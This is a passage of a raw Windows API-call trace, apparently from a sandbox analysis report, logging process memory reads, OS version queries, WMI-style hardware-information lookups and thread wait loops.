1 [0193.067] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x101be0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0193.067] malloc (_Size=0x56) returned 0xeaa7d0 [0193.067] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x102276, lpBuffer=0xeaa7d0, nSize=0x54, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa7d0*, lpNumberOfBytesRead=0x0) returned 1 [0193.068] free (_Block=0xeaa7d0) [0193.068] CloseHandle (hObject=0x414) returned 1 [0193.068] _ui64tow_s (in: _Value=0x16b8, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5816") returned 0x0 [0193.069] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5816") returned 4 [0193.069] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0193.069] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0193.070] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16b8) returned 0x414 [0193.070] GetLastError () returned 0x0 [0193.070] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0193.070] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x285018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0193.070] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0193.070] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4525a0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0193.070] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x452230, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0193.071] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0193.071] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0193.071] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x285020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0193.071] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x451be0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0193.071] malloc (_Size=0x52) returned 0xeaa350 [0193.071] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x452270, lpBuffer=0xeaa350, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa350*, lpNumberOfBytesRead=0x0) returned 1 [0193.072] free (_Block=0xeaa350) [0193.072] CloseHandle (hObject=0x414) returned 1 [0193.073] _ui64tow_s (in: _Value=0x1250, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4688") returned 0x0 [0193.073] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4688") returned 4 [0193.073] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0193.073] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0193.074] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1250) returned 0x414 [0193.074] GetLastError () returned 0x0 [0193.074] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0193.074] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x268018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0193.074] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0193.074] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5b2580, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0193.074] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5b2228, lpBuffer=0x104c5a0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0193.075] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0193.075] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0193.075] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x268020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0193.075] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5b1be0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0193.075] malloc (_Size=0x14) returned 0xec9a20 [0193.075] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5b226a, lpBuffer=0xec9a20, nSize=0x12, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9a20*, lpNumberOfBytesRead=0x0) returned 1 [0193.075] free (_Block=0xec9a20) [0193.075] CloseHandle (hObject=0x414) returned 1 [0193.122] free (_Block=0x2410080) [0193.129] malloc (_Size=0x48) returned 0xea7ac0 [0193.129] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x104d6c8 | out: lpSystemTimeAsFileTime=0x104d6c8*(dwLowDateTime=0x2d3235b7, dwHighDateTime=0x1dac836)) [0193.129] SetEvent (hEvent=0x404) returned 1 [0193.353] LoadStringW (in: hInstance=0x7fffb3c00000, uID=0x3f, lpBuffer=0x104d5e0, cchBufferMax=256 | out: lpBuffer="System Enclosure") returned 0x10 [0193.354] SafeArrayPutElement (psa=0x4b13b0, rgIndices=0x104d844, pv=0x104d840) returned 0x0 [0282.269] SafeArrayAccessData (in: psa=0x4c1b50, ppvData=0x104d570 | out: ppvData=0x104d570) returned 0x0 [0282.269] memcpy (in: _Dst=0x175a4a8, _Src=0x182f250, _Size=0x4 | out: _Dst=0x175a4a8) returned 0x175a4a8 [0282.269] SafeArrayUnaccessData (psa=0x4c1b50) returned 0x0 [0282.269] SafeArrayAccessData (in: psa=0x4c1110, ppvData=0x104d570 | out: ppvData=0x104d570) returned 0x0 [0282.269] memcpy (in: _Dst=0x175a4b0, _Src=0x182f2f0, _Size=0x8 | out: _Dst=0x175a4b0) returned 0x175a4b0 [0282.269] SafeArrayUnaccessData (psa=0x4c1110) returned 0x0 [0282.269] SafeArrayAccessData (in: psa=0x4c1110, ppvData=0x104d570 | out: ppvData=0x104d570) returned 0x0 [0282.269] memcpy (in: _Dst=0x175a4bc, _Src=0x182f100, _Size=0x4 | out: _Dst=0x175a4bc) returned 0x175a4bc [0282.269] SafeArrayUnaccessData (psa=0x4c1110) returned 0x0 [0282.269] SafeArrayAccessData (in: psa=0x4c1110, ppvData=0x104d570 | out: ppvData=0x104d570) returned 0x0 [0282.269] memcpy (in: _Dst=0x175a4c4, _Src=0x182f020, _Size=0x4 | out: _Dst=0x175a4c4) returned 0x175a4c4 [0282.269] SafeArrayUnaccessData (psa=0x4c1110) returned 0x0 [0282.294] SafeArrayAccessData (in: psa=0x4b11f0, ppvData=0x104d570 | out: ppvData=0x104d570) returned 0x0 [0282.294] memcpy (in: _Dst=0x175a4a8, _Src=0x182eff0, _Size=0x4 | out: _Dst=0x175a4a8) returned 0x175a4a8 [0282.294] SafeArrayUnaccessData (psa=0x4b11f0) returned 0x0 [0282.294] SafeArrayAccessData (in: psa=0x4b1170, ppvData=0x104d570 | out: ppvData=0x104d570) returned 0x0 [0282.294] memcpy (in: _Dst=0x175a4b0, _Src=0x182f250, _Size=0x8 | out: _Dst=0x175a4b0) returned 0x175a4b0 [0282.294] SafeArrayUnaccessData (psa=0x4b1170) returned 0x0 [0282.295] SafeArrayAccessData (in: psa=0x4b1870, ppvData=0x104d570 | out: ppvData=0x104d570) returned 0x0 [0282.295] memcpy (in: _Dst=0x175a4bc, _Src=0x182f0b0, _Size=0x4 | out: _Dst=0x175a4bc) returned 0x175a4bc [0282.295] SafeArrayUnaccessData (psa=0x4b1870) returned 0x0 [0282.295] SafeArrayAccessData (in: psa=0x4b1330, ppvData=0x104d570 | out: ppvData=0x104d570) returned 0x0 [0282.295] memcpy (in: _Dst=0x175a4c4, _Src=0x182f190, _Size=0x4 | out: _Dst=0x175a4c4) returned 0x175a4c4 [0282.295] SafeArrayUnaccessData (psa=0x4b1330) returned 0x0 [0282.321] SafeArrayAccessData (in: psa=0x4b1230, ppvData=0x104d570 | out: ppvData=0x104d570) returned 0x0 [0282.321] memcpy (in: _Dst=0x175a4a8, _Src=0x182f0d0, _Size=0x4 | out: _Dst=0x175a4a8) returned 0x175a4a8 [0282.321] SafeArrayUnaccessData (psa=0x4b1230) returned 0x0 [0282.321] SafeArrayAccessData (in: psa=0x4b1230, ppvData=0x104d570 | out: ppvData=0x104d570) returned 0x0 [0282.321] memcpy (in: _Dst=0x175a4b0, _Src=0x182f0c0, _Size=0x8 | out: _Dst=0x175a4b0) returned 0x175a4b0 [0282.321] SafeArrayUnaccessData (psa=0x4b1230) returned 0x0 [0282.321] SafeArrayAccessData (in: psa=0x4b1230, ppvData=0x104d570 | out: ppvData=0x104d570) returned 0x0 [0282.321] memcpy (in: _Dst=0x175a4bc, _Src=0x182f100, _Size=0x4 | out: _Dst=0x175a4bc) returned 0x175a4bc [0282.321] SafeArrayUnaccessData (psa=0x4b1230) returned 0x0 [0282.321] SafeArrayAccessData (in: psa=0x4b1230, ppvData=0x104d570 | out: ppvData=0x104d570) returned 0x0 [0282.321] memcpy (in: _Dst=0x175a4c4, _Src=0x182f240, _Size=0x4 | out: _Dst=0x175a4c4) returned 0x175a4c4 [0282.321] SafeArrayUnaccessData (psa=0x4b1230) returned 0x0 [0282.346] SafeArrayAccessData (in: psa=0x4b1230, ppvData=0x104d570 | out: ppvData=0x104d570) returned 0x0 [0282.346] memcpy (in: _Dst=0x175a4a8, _Src=0x182f170, _Size=0x4 | out: _Dst=0x175a4a8) returned 0x175a4a8 [0282.346] SafeArrayUnaccessData (psa=0x4b1230) returned 0x0 [0282.346] SafeArrayAccessData (in: psa=0x4b1230, ppvData=0x104d570 | out: ppvData=0x104d570) returned 0x0 [0282.346] memcpy (in: _Dst=0x175a4b0, _Src=0x182f2f0, _Size=0x8 | out: _Dst=0x175a4b0) returned 0x175a4b0 [0282.346] SafeArrayUnaccessData (psa=0x4b1230) returned 0x0 [0282.346] SafeArrayAccessData (in: psa=0x4b1230, ppvData=0x104d570 | out: ppvData=0x104d570) returned 0x0 [0282.346] memcpy (in: _Dst=0x175a4bc, _Src=0x182f2c0, _Size=0x4 | out: _Dst=0x175a4bc) returned 0x175a4bc [0282.346] SafeArrayUnaccessData (psa=0x4b1230) returned 0x0 [0282.346] SafeArrayAccessData (in: psa=0x4b1230, ppvData=0x104d570 | out: ppvData=0x104d570) returned 0x0 [0282.346] memcpy (in: _Dst=0x175a4c4, _Src=0x182f230, _Size=0x4 | out: _Dst=0x175a4c4) returned 0x175a4c4 [0282.346] SafeArrayUnaccessData (psa=0x4b1230) returned 0x0 Thread: id = 117 os_tid = 0x570 [0193.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff30 | out: lpSystemTimeAsFileTime=0x10cff30*(dwLowDateTime=0x2d3235b7, dwHighDateTime=0x1dac836)) [0193.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff38 | out: lpSystemTimeAsFileTime=0x10cff38*(dwLowDateTime=0x2d3235b7, dwHighDateTime=0x1dac836)) [0193.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff40 | out: lpSystemTimeAsFileTime=0x10cff40*(dwLowDateTime=0x2d3235b7, dwHighDateTime=0x1dac836)) [0193.131] WaitForSingleObjectEx (hHandle=0x404, dwMilliseconds=0x42c04, bAlertable=0) returned 0x102 [0208.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff30 | out: lpSystemTimeAsFileTime=0x10cff30*(dwLowDateTime=0x36866663, dwHighDateTime=0x1dac836)) [0208.781] free (_Block=0xec9b20) [0208.782] FreeLibrary (hLibModule=0x7fffca220000) returned 1 [0208.782] free (_Block=0xefa290) [0208.782] free (_Block=0xea7750) [0208.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff30 | out: lpSystemTimeAsFileTime=0x10cff30*(dwLowDateTime=0x36866663, dwHighDateTime=0x1dac836)) [0208.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff38 | out: lpSystemTimeAsFileTime=0x10cff38*(dwLowDateTime=0x36866663, dwHighDateTime=0x1dac836)) [0208.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff40 | out: lpSystemTimeAsFileTime=0x10cff40*(dwLowDateTime=0x36866663, dwHighDateTime=0x1dac836)) [0208.782] WaitForSingleObjectEx (hHandle=0x404, dwMilliseconds=0x412c, bAlertable=0) returned 0x102 [0218.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff30 | out: lpSystemTimeAsFileTime=0x10cff30*(dwLowDateTime=0x3c808779, dwHighDateTime=0x1dac836)) [0218.805] free (_Block=0xec9c00) [0218.805] FreeLibrary (hLibModule=0x7fffcca30000) returned 1 [0218.806] free (_Block=0xe58fa0) [0218.807] free (_Block=0xea7ac0) [0218.807] WaitForSingleObjectEx (hHandle=0x404, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0313.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff30 | out: lpSystemTimeAsFileTime=0x10cff30*(dwLowDateTime=0x75151b6e, dwHighDateTime=0x1dac836)) [0313.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff38 | out: lpSystemTimeAsFileTime=0x10cff38*(dwLowDateTime=0x75151b6e, dwHighDateTime=0x1dac836)) [0313.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff40 | out: lpSystemTimeAsFileTime=0x10cff40*(dwLowDateTime=0x75151b6e, dwHighDateTime=0x1dac836)) [0313.729] WaitForSingleObjectEx (hHandle=0x404, dwMilliseconds=0x74c1, bAlertable=0) returned 0x102 [0323.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff30 | out: lpSystemTimeAsFileTime=0x10cff30*(dwLowDateTime=0x7b0da8ff, dwHighDateTime=0x1dac836)) [0323.752] free (_Block=0xec9b80) [0323.752] FreeLibrary (hLibModule=0x7fffcca30000) returned 1 [0323.753] free (_Block=0xe58fa0) [0323.754] free (_Block=0xea7f20) [0323.754] WaitForSingleObjectEx (hHandle=0x404, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0344.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff30 | out: lpSystemTimeAsFileTime=0x10cff30*(dwLowDateTime=0x877fcc37, dwHighDateTime=0x1dac836)) [0344.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff38 | out: lpSystemTimeAsFileTime=0x10cff38*(dwLowDateTime=0x877fcc37, dwHighDateTime=0x1dac836)) [0344.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff40 | out: lpSystemTimeAsFileTime=0x10cff40*(dwLowDateTime=0x877fcc37, dwHighDateTime=0x1dac836)) [0344.630] WaitForSingleObjectEx (hHandle=0x404, dwMilliseconds=0x10, bAlertable=0) returned 0x0 [0346.285] WaitForSingleObjectEx (hHandle=0x404, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0346.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff30 | out: lpSystemTimeAsFileTime=0x10cff30*(dwLowDateTime=0x88dbed6c, dwHighDateTime=0x1dac836)) [0346.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff38 | out: lpSystemTimeAsFileTime=0x10cff38*(dwLowDateTime=0x88dbed6c, dwHighDateTime=0x1dac836)) [0346.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff40 | out: lpSystemTimeAsFileTime=0x10cff40*(dwLowDateTime=0x88dbed6c, dwHighDateTime=0x1dac836)) [0346.919] WaitForSingleObjectEx (hHandle=0x404, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0348.739] WaitForSingleObjectEx (hHandle=0x404, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0349.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff30 | out: lpSystemTimeAsFileTime=0x10cff30*(dwLowDateTime=0x8a683bed, dwHighDateTime=0x1dac836)) [0349.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff38 | out: lpSystemTimeAsFileTime=0x10cff38*(dwLowDateTime=0x8a683bed, dwHighDateTime=0x1dac836)) [0349.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff40 | out: lpSystemTimeAsFileTime=0x10cff40*(dwLowDateTime=0x8a683bed, dwHighDateTime=0x1dac836)) [0349.508] WaitForSingleObjectEx (hHandle=0x404, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0351.093] WaitForSingleObjectEx (hHandle=0x404, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0352.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff30 | out: lpSystemTimeAsFileTime=0x10cff30*(dwLowDateTime=0x8be3497b, dwHighDateTime=0x1dac836)) [0352.003] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff38 | out: lpSystemTimeAsFileTime=0x10cff38*(dwLowDateTime=0x8be3497b, dwHighDateTime=0x1dac836)) [0352.003] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff40 | out: lpSystemTimeAsFileTime=0x10cff40*(dwLowDateTime=0x8be3497b, dwHighDateTime=0x1dac836)) [0352.003] WaitForSingleObjectEx (hHandle=0x404, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0353.466] WaitForSingleObjectEx (hHandle=0x404, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0354.276] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff30 | out: lpSystemTimeAsFileTime=0x10cff30*(dwLowDateTime=0x8d3f61a7, dwHighDateTime=0x1dac836)) [0354.276] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff38 | out: lpSystemTimeAsFileTime=0x10cff38*(dwLowDateTime=0x8d3f61a7, dwHighDateTime=0x1dac836)) [0354.276] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff40 | out: lpSystemTimeAsFileTime=0x10cff40*(dwLowDateTime=0x8d3f61a7, dwHighDateTime=0x1dac836)) [0354.276] WaitForSingleObjectEx (hHandle=0x404, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0357.488] WaitForSingleObjectEx (hHandle=0x404, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0358.089] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff30 | out: lpSystemTimeAsFileTime=0x10cff30*(dwLowDateTime=0x8f851fbb, dwHighDateTime=0x1dac836)) [0358.089] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff38 | out: lpSystemTimeAsFileTime=0x10cff38*(dwLowDateTime=0x8f851fbb, dwHighDateTime=0x1dac836)) [0358.089] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff40 | out: lpSystemTimeAsFileTime=0x10cff40*(dwLowDateTime=0x8f851fbb, dwHighDateTime=0x1dac836)) [0358.089] WaitForSingleObjectEx (hHandle=0x404, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0359.208] WaitForSingleObjectEx (hHandle=0x404, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0359.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff30 | out: lpSystemTimeAsFileTime=0x10cff30*(dwLowDateTime=0x908dc417, dwHighDateTime=0x1dac836)) [0359.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff38 | out: lpSystemTimeAsFileTime=0x10cff38*(dwLowDateTime=0x908dc417, dwHighDateTime=0x1dac836)) [0359.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff40 | out: lpSystemTimeAsFileTime=0x10cff40*(dwLowDateTime=0x908dc417, dwHighDateTime=0x1dac836)) [0359.826] WaitForSingleObjectEx (hHandle=0x404, dwMilliseconds=0x1, bAlertable=0) returned 0x102 [0369.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cff30 | out: lpSystemTimeAsFileTime=0x10cff30*(dwLowDateTime=0x9684deed, dwHighDateTime=0x1dac836)) [0369.827] free (_Block=0xec9920) [0369.827] FreeLibrary (hLibModule=0x7fffcca30000) returned 1 [0369.827] free (_Block=0xe58b20) [0369.828] free (_Block=0xea7b60) [0369.828] WaitForSingleObjectEx (hHandle=0x404, dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 118 os_tid = 0x848 Thread: id = 119 os_tid = 0xe84 Thread: id = 120 os_tid = 0xf1c Thread: id = 121 os_tid = 0xa98 Thread: id = 122 os_tid = 0x94c [0270.255] DllCanUnloadNow () returned 0x1 [0270.255] DllCanUnloadNow () returned 0x1 [0312.558] DllCanUnloadNow () returned 0x1 [0312.559] DllCanUnloadNow () returned 0x1 [0312.726] DllCanUnloadNow () returned 0x1 [0312.726] DllCanUnloadNow () returned 0x1 Thread: id = 123 os_tid = 0x960 Thread: id = 124 os_tid = 0x8e8 Thread: id = 153 os_tid = 0xc64 Thread: id = 234 os_tid = 0x1464 [0282.491] SafeArrayAccessData (in: psa=0x4b1870, ppvData=0x5ed570 | out: ppvData=0x5ed570) returned 0x0 [0282.491] memcpy (in: _Dst=0x4c4878, _Src=0x182f070, _Size=0x4 | out: _Dst=0x4c4878) returned 0x4c4878 [0282.491] SafeArrayUnaccessData (psa=0x4b1870) returned 0x0 [0282.491] SafeArrayAccessData (in: psa=0x4b1070, ppvData=0x5ed570 | out: ppvData=0x5ed570) returned 0x0 [0282.491] memcpy (in: _Dst=0x4c4880, _Src=0x182f070, _Size=0x8 | out: _Dst=0x4c4880) returned 0x4c4880 [0282.492] SafeArrayUnaccessData (psa=0x4b1070) returned 0x0 [0282.492] SafeArrayAccessData (in: psa=0x4b1870, ppvData=0x5ed570 | out: ppvData=0x5ed570) returned 0x0 [0282.492] memcpy (in: _Dst=0x4c488c, _Src=0x182f310, _Size=0x4 | out: _Dst=0x4c488c) returned 0x4c488c [0282.492] SafeArrayUnaccessData (psa=0x4b1870) returned 0x0 [0282.492] SafeArrayAccessData (in: psa=0x4b1870, ppvData=0x5ed570 | out: ppvData=0x5ed570) returned 0x0 [0282.492] memcpy (in: _Dst=0x4c4894, _Src=0x182f2c0, _Size=0x4 | out: _Dst=0x4c4894) returned 0x4c4894 [0282.492] SafeArrayUnaccessData (psa=0x4b1870) returned 0x0 [0282.518] SafeArrayAccessData (in: psa=0x492d50, ppvData=0x5ed570 | out: ppvData=0x5ed570) returned 0x0 [0282.518] memcpy (in: _Dst=0x4c4878, _Src=0x182f250, _Size=0x4 | out: _Dst=0x4c4878) returned 0x4c4878 [0282.518] SafeArrayUnaccessData (psa=0x492d50) returned 0x0 [0282.519] SafeArrayAccessData (in: psa=0x492d50, ppvData=0x5ed570 | out: ppvData=0x5ed570) returned 0x0 [0282.519] memcpy (in: _Dst=0x4c4880, _Src=0x182f310, _Size=0x8 | out: _Dst=0x4c4880) returned 0x4c4880 [0282.519] SafeArrayUnaccessData (psa=0x492d50) returned 0x0 [0282.519] SafeArrayAccessData (in: psa=0x492d50, ppvData=0x5ed570 | out: ppvData=0x5ed570) returned 0x0 [0282.519] memcpy (in: _Dst=0x4c488c, _Src=0x182f2c0, _Size=0x4 | out: _Dst=0x4c488c) returned 0x4c488c [0282.519] SafeArrayUnaccessData (psa=0x492d50) returned 0x0 [0282.519] SafeArrayAccessData (in: psa=0x492d50, ppvData=0x5ed570 | out: ppvData=0x5ed570) returned 0x0 [0282.519] memcpy (in: _Dst=0x4c4894, _Src=0x182f320, _Size=0x4 | out: _Dst=0x4c4894) returned 0x4c4894 [0282.519] SafeArrayUnaccessData (psa=0x492d50) returned 0x0 [0282.550] SafeArrayAccessData (in: psa=0x4b1870, ppvData=0x5ed570 | out: ppvData=0x5ed570) returned 0x0 [0282.550] memcpy (in: _Dst=0x4c4878, _Src=0x182f250, _Size=0x4 | out: _Dst=0x4c4878) returned 0x4c4878 [0282.550] SafeArrayUnaccessData (psa=0x4b1870) returned 0x0 [0282.550] SafeArrayAccessData (in: psa=0x4b14f0, ppvData=0x5ed570 | out: ppvData=0x5ed570) returned 0x0 [0282.550] memcpy (in: _Dst=0x4c4880, _Src=0x182f1f0, _Size=0x8 | out: _Dst=0x4c4880) returned 0x4c4880 [0282.551] SafeArrayUnaccessData (psa=0x4b14f0) returned 0x0 [0282.551] SafeArrayAccessData (in: psa=0x4b1870, ppvData=0x5ed570 | out: ppvData=0x5ed570) returned 0x0 [0282.551] memcpy (in: _Dst=0x4c488c, _Src=0x182f170, _Size=0x4 | out: _Dst=0x4c488c) returned 0x4c488c [0282.551] SafeArrayUnaccessData (psa=0x4b1870) returned 0x0 [0282.551] SafeArrayAccessData (in: psa=0x4b1070, ppvData=0x5ed570 | out: ppvData=0x5ed570) returned 0x0 [0282.551] memcpy (in: _Dst=0x4c4894, _Src=0x182f0c0, _Size=0x4 | out: _Dst=0x4c4894) returned 0x4c4894 [0282.551] SafeArrayUnaccessData (psa=0x4b1070) returned 0x0 [0282.590] LoadStringW (in: hInstance=0x7fffb3c00000, uID=0x3f, lpBuffer=0x5ed5e0, cchBufferMax=256 | out: lpBuffer="System Enclosure") returned 0x10 [0282.590] SafeArrayPutElement (psa=0x493050, rgIndices=0x5ed844, pv=0x5ed840) returned 0x0 [0283.843] LoadStringW (in: hInstance=0x7fffb3c00000, uID=0x3d, lpBuffer=0x5ed5e0, cchBufferMax=256 | out: lpBuffer="Computer System Product") returned 0x17 [0283.844] _vsnwprintf (in: _Buffer=0x5ed890, _BufferCount=0x40, _Format="%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X", _ArgList=0x5ed828 | out: _Buffer="1837FA3B-840D-E8BE-4653-203040506099") returned 36 [0292.373] LoadStringW (in: hInstance=0x7fffb3c00000, uID=0x3f, lpBuffer=0x5ed5e0, cchBufferMax=256 | out: lpBuffer="System Enclosure") returned 0x10 [0292.374] SafeArrayPutElement (psa=0x493a10, rgIndices=0x5ed844, pv=0x5ed840) returned 0x0 [0312.485] malloc (_Size=0xb0) returned 0xe58fa0 [0312.485] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7fffcca30000 [0312.485] GetProcAddress (hModule=0x7fffcca30000, 